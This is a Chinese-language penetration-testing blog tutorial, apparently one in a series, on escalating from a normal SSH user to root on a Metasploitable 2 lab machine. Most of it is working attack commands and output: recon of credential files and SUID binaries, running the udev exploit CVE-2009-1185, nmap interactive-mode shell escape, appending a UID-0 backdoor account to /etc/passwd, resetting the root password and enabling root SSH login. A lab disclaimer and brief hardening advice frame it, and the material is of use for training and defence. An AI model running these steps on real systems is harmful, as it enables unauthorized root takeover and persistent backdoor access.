当前位置:首页>Linux>从SSH到Root:Linux本地普通用户提权技巧演示

从SSH到Root:Linux本地普通用户提权技巧演示

  • 2026-09-29 02:16:22
从SSH到Root:Linux本地普通用户提权技巧演示

郑重声明:以下内容仅适用于合法的靶机测试,所有操作均严格限制在法律允许的范围之内,绝不触犯《网络安全法》等相关法律法规中关于“未经授权禁止对计算机信息系统进行扫描或探测”的禁止性条款。我们强烈建议您不要将这些信息用于任何非法或不道德的目的。

上期我们成功通过SSH漏洞拿到了普通用户shell,但这只是开始!今天说说如何从user到root的完整攻击链,让你的渗透测试技能直接拉满!提权核心思路:利用系统配置错误、内核漏洞、SUID滥用、计划任务缺陷等,将普通用户权限提升至root。

第一步:信息收集

拿到shell后,先别急着动手,摸清敌情是关键:

# 系统基础信息uname -a                    # 内核版本(找CVE漏洞)cat /etc/issue              # 发行版信息cat /proc/version           # 详细内核信息hostname                    # 主机名# 用户与权限信息whoami                      # 当前用户id                          # UID/GID/所属组groups                      # 所属用户组cat /etc/passwd             # 所有用户列表cat /etc/group              # 所有用户组lastlog                     # 最近登录记录# 敏感文件权限检查ls -la /etc/shadow          # 影子文件是否可读?ls -la /etc/sudoers         # sudo配置是否可写?ls -la /root                # root目录是否可进入?# 系统环境侦查env                         # 环境变量echo $PATH                  # 路径变量which python perl ruby      # 可用脚本语言find / -perm -4000 2 > /dev/null  # 查找SUID文件(关键!)

方案一:SUID滥用提权(最常见!)

SUID(Set User ID)是一种特殊权限,允许程序以文件所有者权限运行,而非当前用户权限。

第一步:查找SUID文件

# 全盘搜索SUID文件(排除错误信息)find / -perm -4000 -type f 2 > /dev/null# 在Metasploitable 2中的典型发现:# /usr/bin/sudo# /bin/ping# /bin/su# /usr/bin/passwd# /usr/bin/chfn# /usr/bin/chsh# /usr/bin/newgrp# /usr/bin/gpasswd# /usr/bin/nmap# /bin/mount# /bin/umount# /bin/fusermount# /usr/bin/X# /usr/bin/traceroute6.iputils

第二步:检查可写敏感文件

# 检查 /etc/passwd 是否可写ls-la /etc/passwd# 检查 /etc/shadow 是否可读ls-la /etc/shadow
第三步:内核漏洞提权
由于内核版本 2.6.24-16-server 较旧,可利用 udev 提权漏洞(CVE-2009-1185):
# 在靶机上确认 udev 版本dpkg -l|grep udev
如果 udev 版本 < 1.4.1,按以下步骤操作:
A. 在 Kali 主机准备攻击文件:
# 在 Kali 主机上cd /tmpsearchsploit udev# 下载 udev 提权脚本searchsploit -m 8478.sh
B. 在靶机执行提权:
# 在靶机上创建提权脚本目录mkdir /tmp/exploitcd /tmp/exploit# 从 Kali 传输 8478.sh 到靶机scp -o HostKeyAlgorithms=+ssh-rsa 8478.sh user@192.168.137.52:/tmp/# 在靶机上执行提权 cd /tmp/exploitchmod +x 8478.sh./8478.sh
成功后,你将以 root 身份获得 shell。如果提权失败,可尝试方案二。
方案二:利用Nmap的SUID提权

原理:旧版Nmap(2.02-5.21)支持交互模式,且以root权限运行时SUID位设置不当。

第一步:在Kali Linux上执行:
┌──(kali㉿kali)-[~] └─$ ssh -o HostKeyAlgorithms=+ssh-rsa user@192.168.137.52# 输入密码 user user@metasploitable:/tmp/exploit$ openssl passwd -1 -salt hac hac$1$hac$0Y0AC6a5UuQdfz/rR58iZ1
第二步:在靶机执行:
# 启动 nmap 交互模式nmap --interactive
第三步:然后输入:
nmap> !sh
如果成功,你会直接获得 root shell:
sh-3.2# whoamirootsh-3.2# echo 'hac:$1$hac$0Y0AC6a5UuQdfz/rR58iZ1:0:0::/root:/bin/bash' >> /etc/passwdsh-3.2# su hacPassword: root@metasploitable:/home/user#
第四步:提权后的操作流程
# 1. 确认当前是 rootnmap> !shsh-3.2# iduid=0(root) gid=0(root) groups=0(root) # 2. 设置 root 密码(方便后续直接登录)sh-3.2# passwd rootEnter new UNIX password: Retype new UNIX password: passwd: password updated successfully# 3. 开启 root SSH 登录(可选)sh-3.2# sed -i 's/PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_configsh-3.2# /etc/init.d/ssh restart * Restarting OpenBSD Secure Shell server sshd   ...done.# 4. 之后可以直接用 root 登录ssh -o HostKeyAlgorithms=+ssh-rsa root@192.168.137.52

最后:防御建议

如果你是系统管理员,如何防止这些提权技巧?
  1. SUID最小化:定期审计find / -perm -4000,移除不必要的SUID位;
  2. Sudo严格配置:使用visudo,遵循最小权限原则,禁用危险命令;
  3. 内核及时更新:订阅安全公告,及时修补CVE漏洞;
  4. 文件权限管控:确保敏感脚本、配置文件不被普通用户写入;
  5. 监控与审计:部署auditd监控特权命令执行,设置告警。
#Linux提权 #渗透测试 #红队技术 #网络安全 #Metasploitable #SUID #Sudo #内核漏洞 #信息安全

💬 技术讨论:你在实际渗透测试中还遇到过哪些"脑洞大开"的提权方式?比如利用pkexec、polkit漏洞?欢迎分享你的实战经验!

【如有疏漏,敬请指正!】


最新文章

随机文章